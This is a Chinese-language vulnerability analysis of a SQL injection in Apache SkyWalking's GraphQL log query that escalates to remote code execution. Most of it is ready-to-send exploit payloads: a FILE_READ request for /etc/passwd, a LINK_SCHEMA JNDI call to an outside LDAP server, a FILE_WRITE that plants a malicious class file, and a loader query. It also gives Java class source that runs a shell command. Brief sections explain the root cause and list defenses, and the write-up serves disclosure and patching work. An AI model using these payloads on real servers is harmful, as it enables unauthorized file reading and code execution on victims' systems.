Apache SkyWalking SQLi to RCE
字数 852 2025-08-10 08:28:37
Apache SkyWalking SQL注入到远程代码执行漏洞分析
漏洞概述
Apache SkyWalking存在一个SQL注入漏洞,可导致远程代码执行(RCE)。该漏洞源于GraphQL查询中对用户输入的不当处理,攻击者可通过构造恶意查询实现从SQL注入到完全控制系统。
漏洞原理
漏洞位置
漏洞存在于org.apache.skywalking.oap.query.graphql.GraphQLQueryProvider#prepare方法中,具体涉及h2LogQueryDao类的表名可控问题。
根本原因
虽然系统使用了预编译语句,但在SQL语句中除?之外的部分存在拼接用户输入的情况,导致依然存在SQL注入漏洞。
漏洞利用分析
利用前提
- 目标使用H2数据库(如果数据源为Elasticsearch则无法利用)
- 需要知道GraphQL查询接口
利用步骤
1. 信息收集
通过查看log.graphqls配置文件,发现metricName参数存在注入点。
2. 构造恶意查询
读取文件
{
"query": "query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n }}",
"variables": {
"condition": {
"metricName": "INFORMATION_SCHEMA.USERS) union SELECT FILE_READ('/etc/passwd', NULL) where ?=1 or ?=1 or 1=1--",
"paging": {
"pageNum": 1,
"pageSize": 1
},
"state": "ALL",
"queryDuration": {
"start": "2021-02-07 1554",
"end": "2021-02-07 1554",
"step": "MINUTE"
}
}
}
}
JNDI注入
{
"query": "query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n }}",
"variables": {
"condition": {
"metricName": "(select 1 where ?=1 or ?=1 or LINK_SCHEMA('file', 'javax.naming.InitialContext', 'ldap://192.168.85.1:1389/Exploit', 'sa', 'sa', 'PUBLIC'))) --",
"paging": {
"pageNum": 1,
"pageSize": 1,
"needTotal": true
},
"state": "ALL",
"queryDuration": {
"start": "2021-02-07 1554",
"end": "2021-02-07 1609",
"step": "MINUTE"
}
}
}
}
写入文件
{
"query": "query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n total\n }}",
"variables": {
"condition": {
"metricName": "INFORMATION_SCHEMA.USERS) union SELECT FILE_WRITE('恶意类文件的HEX编码', 'config/Exploit.class') where ?=1 or ?=1 or 1=1 --",
"paging": {
"pageNum": 1,
"pageSize": 1,
"needTotal": true
},
"state": "ALL",
"queryDuration": {
"start": "2021-02-07 1554",
"end": "2021-02-07 1609",
"step": "MINUTE"
}
}
}
}
加载恶意类实现RCE
{
"query": "query queryLogs($condition: LogQueryCondition) {\n queryLogs(condition: $condition) {\n logs{\n content }\n }}",
"variables": {
"condition": {
"metricName": "(select 1 where ?=1 or ?=1 or LINK_SCHEMA('file', 'Exploit1', 'test', 'sa', 'sa', 'PUBLIC'))) --",
"paging": {
"pageNum": 1,
"pageSize": 1,
"needTotal": true
},
"state": "ALL",
"queryDuration": {
"start": "2021-02-07 1554",
"end": "2021-02-07 1609",
"step": "MINUTE"
}
}
}
}
恶意类构造示例
public class Exploit1 {
static {
try {
System.out.println("run Calc...");
Runtime.getRuntime().exec("touch /tmp/pwned_by_cqq2");
} catch (Throwable e) {
e.printStackTrace();
}
}
}
将编译后的.class文件转换为HEX格式:
xxd -p Exploit1.class | tr -d '\n' > Exploit1_class.hex
技术细节
- SQL注入点:
metricName参数在拼接SQL语句时未充分过滤 - H2数据库特性:利用H2的
FILE_READ、FILE_WRITE和LINK_SCHEMA函数实现文件操作和JNDI注入 - 类加载机制:通过写入恶意.class文件到classpath目录(如config目录),然后加载执行
防御措施
- 升级到修复版本(Apache SkyWalking 8.3.0之后的版本)
- 对所有用户输入进行严格过滤和验证
- 避免在SQL语句中拼接用户输入
- 限制H2数据库的特权函数使用
参考链接
- Skywalking远程代码执行漏洞预警
- [CVE-2020-9483/13921]Apache SkyWalking SQL注入
- H2数据库文档
- 官方修复提交